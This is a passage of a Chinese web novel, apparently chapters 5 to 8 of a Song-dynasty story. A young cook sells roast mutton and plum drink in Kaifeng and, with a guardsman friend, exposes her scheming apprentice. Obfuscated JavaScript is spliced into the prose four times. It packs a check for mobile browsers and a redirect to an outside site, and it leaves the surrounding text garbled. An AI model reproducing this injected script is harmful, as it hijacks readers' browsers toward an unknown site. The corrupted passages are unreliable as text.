“自然，今岁正是我家伯伯亡故十年之期，正该请僧道大办一场水陆道场。” 路上行人的交谈时不时钻进耳中，许苏苏也意识到身为孤女，自己要祭奠父亲、母亲，为家人供奉瓜果。 祭奠双亲么？ 许苏苏神思飘远，仿佛又回到了上辈子的家中，爸爸妈妈还好吗？哥哥姐姐还好吗？ 现在许苏苏唯一能庆幸的事情，大概就是自己并非独生女了。 “咳咳，这位小娘子在想什么？脚都被你踩到了。” 熟悉的声音让许苏苏抬起头，看到穿着一身便服的钱希祎手里提着一条柳叶穿的小鱼，笑着同她打招呼。 “钱大哥，你怎么在这儿？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547486|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 钱希祎将小鱼换到左手边，凑近许苏苏，将那只前几日许苏苏赠给他的竹筐递来。 “我去你店里寻你，武娘子说你来州桥的果子行采买，便跟着来了。” 他晃了晃手里活蹦乱跳的小鱼，“正巧叔祖母的猫儿没鱼食，我便去鱼行买一点小鱼给它。” 许苏苏颇感惊喜，随即解释自己为何不在店里，“我买一些果子，制饮子卖。” “正好，钱大哥你可以帮我品鉴一番。” 钱希祎自是无有不应之处，许苏苏的厨艺高妙之处，就在前几日那一筐肉食里展现的淋漓尽致。 “这些是什么果子？看着琳琅满目，好生新鲜。” 许苏苏指着背篓里的果子们介绍到，“这是梨，这是杏，这是李子。” “那这是什么？” 钱希祎指了指许苏苏背篓最上面的纸包，“这是酸梅饮的材料。” 酸梅饮？钱希祎未曾听说过。 “哎呀，你个小姑娘背这么多物件。” 钱希祎示意许苏苏将背篓解下交给自己，许苏苏拒绝了，很无奈地说道。 “钱大哥，我是个庄稼人，从四五岁就开始做农活，怎地一筐果子就压坏了。” “四娘子真是……” 路上，许苏苏花几十文买了一小袋孜然、茴香和胡椒。 “四娘子买这些做什么？” 今日许苏苏总收入九百九十六文，正是卖出一百多份馄饨、烧麦套餐所获，可仅仅是方才采买香料就花去九十五文。 饶是钱希祎乃富家子，看到九十五文所采买的香料包起来竟抵不得一只李子大时，也得劝说劝说许苏苏别买了。 “这可是我的绝活儿，总得请钱大哥你尝尝。” 许苏苏扛起一只肥羊腿，大呼小叫着钱希祎先在院儿里吃果子，就冲进厨房去，操持午饭。 早春天寒，许苏苏为钱希祎准备的是蜂蜜梨汤与李子夹乌梅。一者甘甜绵长，一者酸甜可口。 钱希祎不嗜甜，却也海饮了一大碗梨汤，吃了五六个李子夹乌梅。 一股香气顺着厨房的烟囱飘出来，许苏苏招呼钱希祎清理好桌子准备吃饭。 “炙羊肉？” 金黄流油的羊腿上撒了些许香料碎，正是这些香料碎吸引到钱希祎的注意力。 “四娘子，这忒奢侈了些。” 一次性将九十五文钱买来的香料用到此处，饶是钱希祎都为许苏苏的奢侈惊诧。 这很奢侈吗？ 其实并不奢侈，一只羊腿四十文，一把香料九十五文，合计一百三十五文钱，和现代物价大差不差。 许苏苏没有和钱希祎一起享用这份炙肉，看钱希祎开始吃饭，便又自顾自地去熬煮酸梅汤。 “此物当真与旁的饮子不同，酸甜可口，十分甘美。” 酸梅汤在早春的风中很快晾凉，钱希祎品尝了一口，瞬间就被征服。 “诺，钱大哥，今日唤你来是为了此物。” 许苏苏吃了块炙肉，深觉自己厨艺并未退步，尔后立刻掏出她找匠人制作的琉璃卡片。 5. 炙羊肉 “四娘子这份礼物用心极了，我一定好生收着，到时去你店里吃饭。” 钱希祎郑重收起许苏苏赠送的一指长、镶嵌银丝，写着钱希祎名字的精美琉璃卡片。 “四娘子要售卖此种炙羊肉？” 许苏苏点点头，“正是如此。” 她对小店的定位很清晰。 羊肉烧麦味重油大，鸡汤混沌鲜美清爽，正合适早上下值时饥肠辘辘的军汉、差役、报晓人和潜火兵搭配食用。 这些客户，对于许记烧麦店来说，都是潜在的长期客户，要留住他们，就得多推出适合这部分客户的新菜品。 炙烤羊肉，就是一道适合中午开荤，同家人一同享用的美食。 许苏苏特地转过州桥夜市和马行街、大相国寺的正店、脚店，并无一家会用极为昂贵的香料作为蘸料、撒料用于炙肉。 更何况，见钱希祎起初有些心疼香料昂贵，等到食物进了嘴巴便开始狂吃模式，许苏苏心中也有一份自信。 这可是她亲爹传授给她的家传烧烤料秘方大宋改良版！ 没有配比比例，想复刻这个味道，根本不可能。 “单吃炙羊肉容易积食，配上这份酸梅饮子，便是无上至味。” 钱希祎对酸梅饮的喜爱，远超过炙羊肉，见茶瓶里还有，就请许苏苏再为自己斟上一碗。 “四娘子，你也不必觉得自己受我的恩惠没办法报偿。” “能吃到这样只有宫中才能做出的美食，已经算最好的报偿。” 碗筷收拾停当，即将离开许家时，钱希祎拿出一枚玉佩，“四娘子品行为人都是上等，又有一手好厨艺，我真心想同四娘子 结交。” 钱希祎把那莹润翠绿的玉佩丢到许苏苏怀里，“既是朋友，何来什么你欠我，我欠你的事情。” “我们这些在军中摸爬滚打惯了的汉子，不说这些。” 许苏苏想了想自己这几日来的纠结，也笑起来。 “钱大哥说的是，是小女子忸怩。” 许苏苏将包好的炙羊肉递给翻身上马的钱希祎，“钱大哥可分给袍泽们一些，也为我招揽几个客人。” 时间过去半个月，州桥东面的许记烧麦名声，随着军汉、差役们口口相传，生意愈发红火。 “东主，咱们还有烧麦和馄饨么？” “哎呀，阿武，还剩一屉。” 听到许苏苏话语，那位站在最前面，做小厮打扮的郎君当即扬声说道。 “劳烦武娘子，我们家全要了。” 阿武颇为无奈，对着后面排了长队的客人说，今日烧麦还剩五十个，这位客人全要了。 有些客人自觉无趣，听到阿武说还有馄饨也没留下；有些客人颇为愤怒，还要同阿武理论一番自家等了很久竟不能给留一些。 阿武平日里应对惯了婆母，耐心十足，对这些客人一一解释，待到日上三竿，才将所有人送走。 “东主，咱们可要召些人手？” 许苏苏在围布上擦擦手，开始清点今日所获银钱，听到阿武这话也有所考虑。 “今日卖了四百四十个烧麦、一百五十碗馄饨。” “若是能加一个人，咱们还能多包两百烧麦，五十碗馄饨。” 许苏苏的工作不仅是包制烧麦和馄饨，她还要备料、熬煮鸡汤、采买柴米油盐。 阿武则要打理店铺，清扫卫生，早间招呼客人、收钱等事项都得阿武来做。 “待我去牙行询问牙人可有此等娘子推荐。” 理想很丰满，现实很骨感。许苏苏本计划依靠炙羊肉发展出认可许记烧麦小店的长期客户，可每日仅是制作烧麦和馄饨就做 的腰酸背痛、头昏脑胀。 炙羊肉？还是等等吧。 待到她拖着疲累的身躯回到家中，歇息一会儿，计划前去牙行询问雇觅人手时，便听到门外钱希祎敲门。 “四娘子要找帮手？” “也许是学徒呢。” 许苏苏有气无力，“我本以为小店开业，没什么人流，便每日做上一百五十个烧麦、两百五十只馄饨售卖。” “哪儿成想，名声一传十、十传百，现今每日晚上要包四百多只烧麦、五百多只馄饨，才勉强够五更天到七更天售卖。” 许苏苏朝钱希祎展示自己的小钱柜，“虽说一日能赚一贯钱，可如此下去，能留住客人么？” 钱希祎将宫中分派的糕点放到许苏苏小院的石桌上，听到许苏苏说去牙行雇觅人手时，抚掌而笑。 “四娘子人单力孤，去牙行总是要担忧伙计品行，我荐给你一个人，保你满意。” 许苏苏还没问是什么人，钱希祎就一溜烟儿出门，为她找人去。 钱希祎找来的人，竟是个十三四岁的小娘子？ 许苏苏疑惑不解，将钱希祎拉到一边询问这是何人？ “厢主身边护卫的遗孤，平日里很受其夫人关照。” 只是嘛，许苏苏明白钱希祎未尽之意。 这孤女既有亲族，厢主和厢主夫人断不会将人收到膝下充为养女，没白的便宜了那起子贪图富贵的一家人。但是这遗孤的爹，是征汉时为救厢主而死，于情于理都该那位厢主救济。 孤女的娘早早改嫁，没留下儿息，恩惠便全都落到这孤女身上。 一女孩儿，平日里厢主差人救济，待到年岁适合，找个朴实人家，陪送一份厚厚嫁妆，倒还罢了。 而这名叫柳儿的孤女却有几分骨气，不肯平白受人恩惠，更不肯仰仗亲爹的功劳混吃混喝，央求照看她的兵卒媳妇要找一份工做。 “有厢主的面子在，这柳小娘子的亲族不算问题。” 钱希祎解释道，“年纪小，肯上进吃苦，正合适给你做学徒。” 许苏苏仔细打量了柳儿，难得沉默了。 凭心而论，柳儿长得不坏，容貌很是周正，一双眼睛大而灵动，黑色的眼瞳闪闪发光。鬓发乌黑，身上的青色短背颜色鲜 亮，头上的双丫鬓中间别着一枚银丝莲纹梳篦，想来是认真装扮过自己。 许苏苏没有恶意，但是她真的很想知道：一个据说要在隔房堂兄家里讨生活的女孩子，真的能将自己打扮得如此鲜亮、体面么？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547487|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这样一个孩子做自己的学徒啊。 “四娘子，那位厢主随便朝左一厢的厢官说上几句话，你便能得到开封府户籍了！” 想来许苏苏对此等人情交际不甚擅长，钱希祎索性把话说个明白，让她知道自己为何非要这女孩儿做许苏苏的徒弟。 许苏苏心生赫然，在民风淳朴的小乡村里做隐形人久了，这样简单的人情交换都看不明白。 她再次看了看这位名叫柳儿的小娘子，“多谢钱大哥了，我定会好好待这小娘子。” 许苏苏终归放下疑惑，接受了柳儿。 不仅仅是为一位厢军军主可能对此萌生的谢意，也是为这小娘子的境地与当初的自己无有不同。 若是自己在被族长和他的妻子磋磨时，能有一个人伸出一只手，许苏苏想来是非常感激的。 就像温如玉伸出了那只手，许苏苏也毫不吝啬于将售卖家中田产所得的银钱赠给他一半作为进入书院打点老师的束脩。 “小娘子，你明日来我这儿试工一日，若是行了，我便按阿武娘子的工钱给你，一日一百五十文。” “劳烦钱大哥帮我写一份雇觅文书，我给柳儿看。” 得知自己有机会在同是女子的店铺里打杂工，柳儿欢欣鼓舞，脆生生应下钱希祎的所有要求，很快将那份文书签好。 “柳儿还学过字呢？” “军主大人请人来教过我。” 许苏苏心中，对柳儿身上反常之处的疑惑更少了几分，转而变成对这小姑娘肯上进的认可。 第二日，那些早早赶来许记烧麦的食客得知个不错的消息，“今日本店有炙羊肉售卖。” 一名买了十五个烧麦的军汉好奇到，“炙羊肉，怎么卖的？” 此刻招呼客人的成了许苏苏，她抬出一只雕花食盒，掀开盖子，示意军汉拿一只木签尝试尝试。 “客人品尝后决定买不买。” 那常来许记烧麦的军汉犹豫一会儿，拿起一只签子戳了一小块儿肉。 无论哪个时代，炙烤到肥嫩流油的肉食，加上异香扑鼻的香料，总是能征服任何人的味蕾。 咸香的羊肉上裹着一层许苏苏秘制烤肉蘸料，芝麻、孜然、小茴香和胡椒、吴茱萸子，加上一点干脆的烤饼末，军汉无法用 语言来形容这个味道，只能说‘此处炙肉，与别处好生不同，这味道当真是妙极了’。 后面的人早就被香气吸引，见军汉占着地方不挪动，自己个儿挤开人群，凑上前来，朝许苏苏要了一只签叉一块肉品尝。 “敢问许娘子，这可是用了西域香料？” 许苏苏笑着回答，“客人好品味，此物所有香料都来自西域。” 那军汉却犹疑起来，西域香料制作的美味，并非一个有家有业的军汉所能负担。 军汉知道，一小撮西域来的香料，都能抵上他娘子一日工钱。 “怎么售卖的？” 军汉想了想，还是不死心地询问到。 “许娘子，能，能买一小块儿么？” 说着，这中年军汉自己的脸都红了。 6. 烤肥羊 许苏苏并非那等生着一双富贵眼，喜爱刁难拮据客人的人。 听到这中年军汉发声询问，立刻解释道。 “炙肉可零散售卖，三十五文钱一两，附赠一小袋本店秘制蘸料。” 一两炙羊肉三十五文兴许还会有人说贵了，但是加上那只有达官贵人甚至官家才吃得起的西域香料，众人纷纷抬起手要订购一份拿回去给自家孩子、媳妇尝个新鲜。 许苏苏笑着退回到厨房去，此时便需要阿武和柳儿招待客人。 “此蘸料可有人能复刻出？” 一位受儿子孝敬的退休官员询问自家厨娘，嘴里不停咀嚼沾满了香料的炙肉。这位官员姿容清癯，长须及胸，举止之间很有些士人洒脱自然之味。 正是罢相的前同平章事赵普。 “回主家的话，难。” “蘸料配方、饮子配方乃是各家不传之秘的原因在配比，差一分一毫，便会失其本味，r若是差得远了。” 赵家的厨娘摇头道，“味道南辕北辙。” 赵普沉吟片刻，“此食，味道甚佳。” “我记着钱王家有个小子同那许娘子关系不错。” “正是。” 赵家大郎及时回答父亲，并呈上从许记烧麦小店买来的烧麦。 “此物鲁国公肯定喜爱。” 赵普品尝一只烧麦后，更加赞赏。 “儿子的长随问过，钱氏的小儿郎，帮那姓许的娘子在京城安家立业，平日里两人时常往来。” 赵家大郎恰到好处的为父亲添补上他不能说的话，“我同钱家郎君说一句，请许家娘子为咱们炙一只整羊，蒸两笼烧麦，您带到宫中请官家、同侪们品尝。” 赵普慢吞吞咀嚼着炙羊肉，对长子露出一个欣慰笑容。 “官家为着钱王不爱用饭，很是发作了几个内侍。” “想来有了此食，钱王总能开怀几分。” “唔，这也算钱希祎那小儿郎寄居在叔祖父家中的孝心。” 赵家大郎准备去寻钱希祎时，就听到父亲扬声额外叮嘱道，“日后请许家娘子看在钱家小儿的面子上，每日额外给我留一份炙羊肉和烧麦！” 这老顽童，赵家大郎失笑中自然应下。 为何不耗费高价将许苏苏请进家中做厨娘，很简单，请不起。 这等厨艺的厨娘所耗费的酬谢…… 啧，就连当朝权贵，也得考虑上十天半月，然后果断拒绝。 许苏苏当然不知道自己马上要有一笔泼天富贵，现在她正在为酸梅饮烦恼！ “主家。” 柳儿从门边探出小脑袋，脆生生提醒道，“酸梅饮卖完了，前边的客人正催着您上。” 许苏苏嗳呦两声，赶忙让柳儿端走那一盆晾好的酸梅饮，继续同阿武投入到包制烧麦的工作中，在灶台上，新一锅酸梅饮子正咕嘟嘟冒着泡。 自打柳儿来后，阿武的主要工作就是在厨房给许苏苏做帮厨。 “今日工钱。” 从铜钱堆里数出一百文给阿武和柳儿，许苏苏面上十分开心，因为今日的收入足足有两千文。额，许苏苏随即汗颜，这几日红火的生意，绝大部分是因为，酸梅汤？ 许苏苏困惑了，许苏苏迷惑了。 “钱大哥，为何这酸梅饮会招徕如此多回头食客？” 钱希祎今日来寻许苏苏，第一是因为叔祖父和同侪赵承宗所托，要请许苏苏烤制一只肥羊；第二是因为钱希祎也十分惦念许记秘制版炙烤肥羊和羊肉烧卖。 说来惭愧，前几日钱希祎为不劳烦许苏苏，同袍泽们一道在许记门口排过队。 日上三竿，好容易排到门口，那柳儿娘子却说本店所有食物售光，请客人下次再来。 看着兄弟们期待的眼神，钱希祎不好意思的摸了摸袖子里的琉璃卡片，总不好进去让许苏苏特地给自己再做一份，只得灰溜溜离开。 “大抵是因为，这饮子里放糖霜的缘故。” 钱希祎猛猛灌下几大杯酸梅饮，一解徒步来此所产生的热气。 钱希祎手比嘴快，在许苏苏说话间的功夫，就把桌子上满满一大盆炙肉吃了小半。 自打两人互相认可彼此为朋友，钱希祎也展露出军中汉子的脾性，这胃口就是特点之一。 “啊呀，钱大哥慢些吃，我在灶上热着一只羊蹄。” 许苏苏又为钱希祎倒上一杯酸梅饮，酸甜可口的饮子极大提升钱希祎的食欲，吃完炙肉，又吃了一只羊蹄，钱希祎才堪堪感受到饱腹感。 “糖霜可是好东西，平常人家里只有过节才舍得吃。” 许苏苏了然，在古代，香气、甜味甚至于咸味都是奢侈品，酸梅饮的甘甜可口，促进胃口功效，受到欢迎当然很正常。 “还有一桩生意，许娘子须得做一做。” 等酒饱饭足，钱希祎摆出二十两银子，推给许苏苏。 “烤一只肥羊，蒸两笼烧麦，熬一锅酸梅饮。” 这是定金？ “待到贵人用了，还有四十两酬谢。” 许苏苏对聘请自己之人的富裕略有惊讶，“如此一笔生意，倒是多谢钱大哥。” “那贵人何时要吃呢？” 钱希祎伸出手掐算日子，“赵家伯伯说，过两日开金明池和琼林苑，届时请贵人吃。” 开金明池和琼林苑，那岂不是三月一日。 “还有两三日么？” 今日是二月二十七日，许苏苏心中略有成算。 “正巧，我令柳娘与阿武娘子休息一日。” “那还请钱大哥为我告诉贵人，请三月一日早上来我家取，我会准备好。” 许记歇业一日，许娘子家中有事的告示让诸多食客悻悻而归，唯独一个人，反在柳儿收拾店铺时嬉皮笑脸凑上前去。 “柳娘子，许娘子安好？” 那人二十来岁，油头粉面，额上抹着黑色布条，头顶的发髻油光锃亮，让本就不美观的脸庞更显油腻。 是许苏苏商铺房屋的东家儿子，名叫张大茂。这张家大郎起先见许苏苏乃是个孤身娘子，身边只有阿武一个寡妇，还在言语上调戏过两人几句。某一次到店中搅扰，被许苏苏食客中的差役敲坏一颗牙，还不甘心。待到钱希祎亲自上门，摆明身份，拿出腰牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547488|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘问候’其家人后，方才老实。 而柳儿被聘请后，许苏苏同她讲过这位张大郎人品，格外叮嘱看到张大郎上门，定要将人赶出去才好。 阿武不在，许苏苏在烤制贵人宴会上所需的肥羊。 “张大哥。” 柳儿那双灵动的眼睛转过来，转过去，仔细打量着张家大郎手里拎着的一点果子。 “瞧瞧，我爹差我给许娘子带了果子，人又不在，这可怎生是好？” “呀，这算得了什么事，张大哥且放在那儿。” 柳儿见张大茂目光一直觑向柜台放账本的地方，心中更明白几分他今日来意。 “唉，许娘子近来生意可好？” 张大茂似不经意间提起，这话说来可笑，许记烧麦门前每日人山人海，声名远播，谁不知道朱雀门外，龙津桥前的许记烧麦？ 本是个早熟孩子的柳儿，此刻却真像个十一二岁的稚童，浑然忘却阿武和许苏苏的交代。 “每日能赚千文钱呢！” 柳儿的声音脆生生的，好像完全看不到张大茂红的快要滴血的眼睛。 “一日千文钱，那岂不是一月就得二三十两银子？” 柳儿所说，其实是不刨去柴米材料和工钱的数额。但这有什么关系，许苏苏每日确实收入两三千文，不是吗？ “这贱蹄子。” 张大茂小声嘟囔道。 “张大哥不信？” “咳咳，平常能放两三张桌子的食肆，一日能赚个三五百文已算作不错，哪里能有千文钱？” 张大茂看向柳儿，目光中是毫不掩饰的怀疑。 柳儿似是觉得生气，便直接拿出账本同张大茂看。 “二月二十五日，一千七百文。” “二月二十六日，一千九百文。” …… “张大哥，这账簿还是我亲笔记下。” “您觉得我说谎？” 张大茂此刻倒笑眯眯的，轻轻合上账本，将账本扔进柜台，“呀，柳儿娘子说笑了。” “我怎的不信？” 说着，就急匆匆放下那三两个皮上生着褶皱的果子，离开了。 能养出张大茂这样孩子的人家，哪里有什么家风，柳儿笑眯眯站在店铺门口，目送张大茂远去。 然后，柳儿回到店铺中，合上门子，也急匆匆往家中赶去。 她要找亲族堂兄和堂兄媳妇，商量开一家烧麦店。 没有什么正常孩子，会在被恩人收养后，屡屡陷害恩人家的孩子品行不好，甚至挑唆恩人家的女孩儿，同人私奔，再自己去告密。 柳儿，就是这样的孩子。 那位厢主只是碍于其父亲的情面将人送回家中，算得上宅心仁厚。 其实，若是钱希祎肯拜托长辈认真打听那位厢主为何不收养柳儿这心腹之子，就会知道，这孩子并非什么温顺的黄鹂鸟。而是一只杜鹃，一只秃鹫。 许苏苏对即将发生的风波浑然不知，正沉浸在贵人赏赐真是丰厚，几匹好缎和绢纱可给阿武和柳儿扯一身衣服，自己也有一件体面衣裳能穿着出去玩耍的喜悦当中。 7. 柳儿的挑唆 官家特许开金明池供百姓游览赏玩，此事情令士人更赞扬皇帝的仁善，一时间金明池、琼林苑附近游览者甚众。 许苏苏这‘乡下人’也早就想去这皇家园林玩耍一番，顺便推上一辆小车，推销推销自家羊肉烧卖和炙羊肉。 钱希祎这两日不能陪着许苏苏纵情玩耍，身为官家近卫，他这两日须得日日值班。 因此，因柳儿透露许苏苏收入而眼红的张家人，终于在三月五日堵到回店里收拾蒸笼的许苏苏。 来的人是张家儿媳妇，也便是张大茂的妻子。 这媳妇腰上系这一块青色方巾，头上包着一块黑色头巾，穿着劣质绢纱做的衣裳，哀哀泣泣的来了。 许苏苏对这张家儿媳妇的印象还好，平日里也是她约束张大茂不能骚扰柳儿和阿武娘子，见许苏苏女红差，时常会给许苏苏赠送些针线活。 “许娘子，近来可好。” “劳烦张嫂子惦记，嫂子近来可好。” 张家儿媳便露出点期期艾艾神情，似是很为难的吐露到，“我家官人这两日正为生计忧愁呢！” 啊，这话让许苏苏不知道该怎么接。 “可是张家大哥卖鱼的活计不好了？” 凭心而论，许苏苏着实有些社恐，不善言辞。小山村里十五六年，也没什么人爱同她这‘克死’亲生父亲的人说话。 柳儿却脆生生接话给了她一个台阶，既让让许苏苏长出一口气的同时，也问她道，“这两日金明池附近热闹，张大哥为何不去那里摆个小摊子？” 毕竟不劳作就会挨饿的理念深入人心，这样的时代，好吃懒做的闲汉很受人非议。即便是父母疼爱的张大茂，也须得在鱼行做一份杀鱼的活计，补贴家用。 “前几日，那钱公子上门，鱼行的人就有些非议。” 张杨氏说着便啜泣起来，“那起子小人，因着官人得罪了人，给他的活计一日比一日繁重。” 许苏苏脸上渐渐没了表情，钱希祎为何上门，张杨氏当真不知道么？ 至于鱼行的人势利眼儿？钱希祎彼时登门，登得是张家在城外得宅子，朱雀桥边的鱼行怎能知道张大茂是恶了谁家公子，恶了哪个班头？ 许苏苏没有说话，但是柳儿‘恰到好处’将这场谈话继续下去。 “可怜见儿的，张家大哥一日能赚三百文，莫不是招人了嫉妒？” “柳儿！” 见东家不说话，阿武生处一丝害怕，急忙去拉柳儿的衣袖，“咱们还有些活没做完，去做。” “正是，我这家里呀。” 张杨氏恰如其分接下这句话，“家里断了钱财供给，连给大郎和大姐儿的羊乳都买不起了。” 柳儿似乎是被这情况‘惊讶’到，“哎呀，大嫂子今日是？” 许苏苏从两人的一唱一和中咂摸出点不同寻常的意味儿，仔仔细细打量起柳儿的表情。 就在这一瞬的功夫，张杨氏表明了来意。 “可否请许娘子怜惜家里的孩子，给我一份活呢？” “这，东家想来也是愿意的。” 再有许多巧妙心思，阴毒算计，柳儿到底是个连表情都控制不住的十一二岁孩子，此听了这话，心中大喜过望，觉得能算计能成。 刚想捧一番许苏苏素来心善的品行，就听到门外有声音传来。 “好个面善心黑的小娘子，我竟不知道这店铺是给你开得？” 正是下值后有一分空闲的钱希祎，腰胯佩刀，大踏步进来。 “小娘子人虽小，心肠却是一等一的黑。” 钱希祎显然是从那位厢主家人口中，得知了柳儿品行，方才抽空赶来，解决此事。 “是啊，柳儿，我竟不知道，你何时成了许记烧麦的东家？” 许苏苏面上全然是冷意，从柜台后抽出一张凳子坐下来，开始清点铜钱。 “你这样主意大的小娘子，我是不敢留，给你结清这几日工钱，咱们去牙行销了雇佣文书罢。” “这，这。” “许娘子不愿叫我来你这儿做活计，说明白就是了，何至于要赶走柳娘子这孩子呢？” 张杨氏脸色涨红，“传到外面去，总要有人说你许氏仗势欺人，为人刻薄的。” “好个虔婆，和这柳娘子一道谋夺许娘子店铺，反倒咬人一口仗势欺人？” 钱希祎还带了两个早就嘴馋许记烧麦的兄弟，两人从钱希祎口中得知事情始末，加之知晓一点柳儿和厢主家故事。 此刻一道把刀拍在桌子上，“一个忘恩负义，一个面毒心黑，当真是蛇鼠一窝。” “哼，你说咱们欺负人，我非得拉你去见军主分说清楚。” “咱们这些厮杀汉子可受不了这委屈！” 见两个五大三粗的军汉气势汹汹吵嚷，张杨氏颇有些心虚，口中的话也开始尖酸。 “你们如此维护她，焉知这是不是这钱公子的小娘、外室？我要告到开封府尹那儿！我要告到开封府尹那儿！” 说着就在许记烧麦门前空地上撒泼打滚，尖叫哭闹起来，吸引了众多看客。 ‘砰’ 重重一脚踢到张杨氏身上，“好你个张家媳妇，在家里撒泼吵闹还不够？非得来这儿欺负孤身一人的小娘子？” 那衙役服饰的人重重一脚踹到张杨氏腿上，“跟我去见坊正！” 许苏苏认出了那年老衙役，正是自己见他独身一人带着个孙女，生活拮据，便每日额外多给一只烧麦、一碗馄饨汤，偶尔还会给些炙肉的老衙役。 老衙役脚上的功夫下的足，张杨氏立刻痛的像只虾米一样蜷缩起来。 “张家大郎更是个没卵子的货，每次都是自家要使坏，便推着他媳妇出来丢人。” 一个街坊认出张杨氏，“可不嘛，要不是张家大郎想调戏黄员外家的小姐，这张家媳妇说人家是骚蹄子，怎得能落到城外过活的境地。” “嘘，小声点，哪儿还有黄员外。” “现在是黄大人。” “这种事情也能拿来说，都闭嘴吧。” 街坊们嘀嘀咕咕的声音如同魔音贯耳，让张杨氏脸色一点点变得青紫。 “若不是坊正心善，为你家房屋找人租赁，就凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547489|204211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你家郎君，哪里能供养两个孩子？” 老衙役似是恨铁不成钢，“你家已经赶走五六位房客，还要不要维持生计？” “好容易一月三贯钱收着，你还要作什么妖？” 张杨氏讷讷无言，想到丈夫说起许苏苏一日能赚两千多文的事情，这点心虚便瞬间成了理直气壮。 “这世上哪儿有这么便宜的事儿？” 张杨氏也顾不得腿上的疼痛和对老衙役的害怕，从地上坐起，尖声道。 “她一日赚两三贯，却只给我们三贯钱，世上哪有这么好的事？” “可见这小蹄子是个一等一的黑心种子！” 许苏苏就倚靠在门框上，静静看着张杨氏撒泼，尽管这样的事情她来到京城后第一次遇到，可总有种熟悉的感觉。 “文书签好了，牙人看过没问题了，才叫你家来签字，你现在说租子太少，咱们完全可以去官府论道理。” 钱希祎抱着刀，直截了当说道。 “你！你！” 张杨氏敢去官府？她当然不敢。 许苏苏不知道钱希祎是什么身份，张杨氏这东京人却很知道，吴越钱家的旁支也是公卿贵族之后！ “或者你可以抱着鱼死网破的心态，去官府告我。” 身量高大的钱希祎站在许苏苏身边，慢慢说道，“张家嫂子，我也可以告诉你一个道理。鱼一定会死，但是网一定不会破。” “钱公子，要为你养的小娘出头？也得看看这是哪儿！这不是你们吴越，现在是大宋的天下。” 张杨氏有点脑子，但，不多。 这话犯的忌讳，足以让钱希祎当街斩杀此人。 尤其当当今官家对钱王礼遇有加，甚至算的上非常恩宠时。 “哪里来的疯妇。” “赵五，敲断她一颗牙。” 那名叫赵五的军汉立刻上前去，抬起刀柄，狠狠敲在张杨氏门牙上。 “拉上此人去见开封府尹，将她说的话一五一十和开封府的人复述。” 张杨氏至少要犯两条大罪，‘妄议’和‘大不敬’。 钱王入宋，依旧是王侯之尊，这张杨氏朝钱希祎如此说话，并非冒犯他，而是直接冒犯了钱王本人。 纳土归宋，乃是官家第一得意之事，对钱氏之恩裳众人侧目，就是为了安抚一十三州军民百姓，此刻民间竟有人说出‘这不是你们吴越，这是大宋’的话，不可谓不找死。 而这其中的小小问题，哪里是一个黔首小民能知道？ “此人是张杨氏同伙，一并拉走。” 钱希祎指了指见事态一步步升级，凄惶无助，害怕到浑身颤抖的柳儿。 知晓些利害的老衙役立刻上前，要押走柳儿。 “东家，东家，我错了，还请东家救命。” 就如同张杨氏很无知，柳儿的弱点在于，她很清楚张杨氏方才说出的话，意味着什么。 这拨弄是非，教唆张家人、挑起张家人贪欲的小娘子，此刻软脚虾一样跪在许苏苏身边，哀哀哭求，真是怕极了许苏苏会联合钱希祎将她一起送官。 8. 宋代版辣白菜 许苏苏没有看柳儿，而是询问钱希祎，能否从为柳儿担保的牙人那儿取得一些损失赔偿费用，得到钱希祎肯定的回答。 见钱希祎一口咬定张杨氏辱及自家叔祖父，老衙役叹息一声，将人索拿。 “也算是你倒霉，怎得就能在钱家公子面前说这话？” 另外一个看热闹的年轻衙役同样叹息道，“这下可好，祸及全家了。” “这是那个厢主家的娘子？我听说过她的名字。” “得了，柳儿娘子，咱们去寻厢主。” 柳儿被名叫赵五的军汉拖拽走时怨毒的目光，让许苏苏怅然若失，这样的孩子究竟是早熟，还是秉性如此？许苏苏不得而知。 聚集的人群散了，许苏苏也没有继续营业的打算，招呼阿武取出剩余的烧麦和炙羊肉，将门关上，同钱希祎一道慢慢回家去。 